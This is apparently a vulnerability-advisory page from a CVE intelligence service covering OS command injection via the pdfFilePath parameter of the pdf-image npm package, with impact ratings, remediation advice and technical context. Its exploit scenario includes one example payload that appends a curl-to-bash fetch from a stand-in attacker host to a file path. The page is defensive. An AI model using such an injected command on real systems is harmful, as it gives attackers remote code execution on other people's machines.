Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend malicious pdfFilePath parameter
-
ExploitInject shell metacharacters into command string
-
ExecutionExecute arbitrary OS commands via child_process.exec()
-
ImpactAchieve remote code execution with application privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can exploit pdf-image npm package versions through 2.0.0 by supplying a malicious pdfFilePath parameter containing shell metacharacters. No victim interaction required. Affects any Node.js application using pdf-image without input sanitization. |
| Impact | This vulnerability presents critical real-world risk with a CVSS score of 9.8, reflecting network-based exploitation requiring no authentication, no user interaction, and no special privileges while enabling full system compromise (high confidentiality, integrity, and availability impact). The attack complexity is low, making exploitation straightforward. The public availability of a proof-of-concept on GitHub significantly lowers the barrier to exploitation and increases the likelihood of opportunistic attacks. While EPSS data and KEV status are not provided in the intelligence, the combination of maximum CVSS severity, network attack vector, zero prerequisites, and public POC code makes this a high-priority issue requiring immediate attention. The vulnerability is fully automatable and could be exploited at scale against any application using the vulnerable package versions with externally-controllable file path inputs. |
| Exploit ScenarioDerived | An attacker sends a malicious HTTP request to a web application that uses pdf-image to process user-uploaded PDFs or PDF URLs. The attacker crafts a pdfFilePath parameter containing shell metacharacters and malicious commands, such as 'file.pdf; curl attacker.com/shell.sh | bash'. When the application passes this unsanitized input to pdf-image's convert functions, the injected commands execute with the privileges of the Node.js process, allowing the attacker to execute arbitrary code, exfiltrate data, establish persistence, or pivot to other systems on the network. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 25, 2026
The pdf-image npm package through version 2.0.0 contains an OS command injection vulnerability in the pdfFilePath parameter. Attackers can exploit this remotely without authentication by injecting malicious commands through file path inputs that are passed unsafely to shell commands via child_process.exec(). A proof-of-concept exploit is publicly available on GitHub (zebbernCVE/CVE-2026-26830), significantly increasing exploitation risk.
RemediationAI
Immediately upgrade the pdf-image npm package to a version newer than 2.0.0 if a patched version becomes available. Monitor the GitHub repository at https://github.com/mooz/node-pdf-image and npm package page at https://www.npmjs.com/package/pdf-image for security updates. As an interim mitigation, implement strict input validation and sanitization on all file path parameters before passing them to pdf-image functions, specifically whitelisting allowed characters and rejecting any input containing shell metacharacters such as semicolons, pipes, backticks, or command substitution syntax. Consider replacing this package with alternative PDF processing libraries that use safer command execution methods or sandboxed execution environments. Restrict the application's filesystem access permissions and run the Node.js process with minimal privileges to limit the impact of successful exploitation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The pdf-image npm package is a Node.js library that converts PDF files to images by wrapping ImageMagick/GraphicsMagick command-line tools. The vulnerability stems from improper input sanitization in the constructGetInfoCommand and constructConvertCommandForPage functions, which use util.format() to construct shell commands with user-supplied file paths. These unsanitized strings are then passed to child_process.exec(), enabling classic OS command injection attacks. This represents a CWE-78 class vulnerability (OS Command Injection) where user input is incorporated into system commands without proper validation or escaping. The CPE data indicates the affected product is the pdf-image npm package, though specific version details are limited in the CPE string.
Know when N A gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
pdf-image (npm package) through version 2.0.0 allows OS command injection via the pdfFilePath parameter. The constructGetInfoCommand and constructConvertCommandForPage functions use util.format() to interpolate user-controlled file paths into shell command strings that are executed via child_process.exec()
Blast Radius
ecosystem impact- 10 npm packages depend on pdf-image (10 direct, 0 indirect)
Ecosystem-wide dependent count for version 2.0.0.
Executive ViewAI
A critical remote code execution vulnerability in the pdf-image npm package allows attackers to execute arbitrary system commands without authentication on any system using this dependency. With a public exploit available and no patch released, this poses immediate risk to any applications or services processing PDF files through this library.
Implement strict network segmentation to isolate systems processing PDFs; deploy Web Application Firewall rules to detect and block suspicious command injection patterns in file path parameters; disable pdf-image features entirely if non-critical; restrict PDF file uploads to authenticated users only; implement strict input validation and sanitization for all file path inputs with allowlist-based path validation; run affected services in containerized environments with minimal privileges and filesystem access; monitor child_process.exec() calls and system command execution logs for anomalous activity.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr
Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han
A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi
Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc
Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula
Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root
LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(
Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti
Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr
SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg
Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ
Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali
EUVD-2026-15457
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB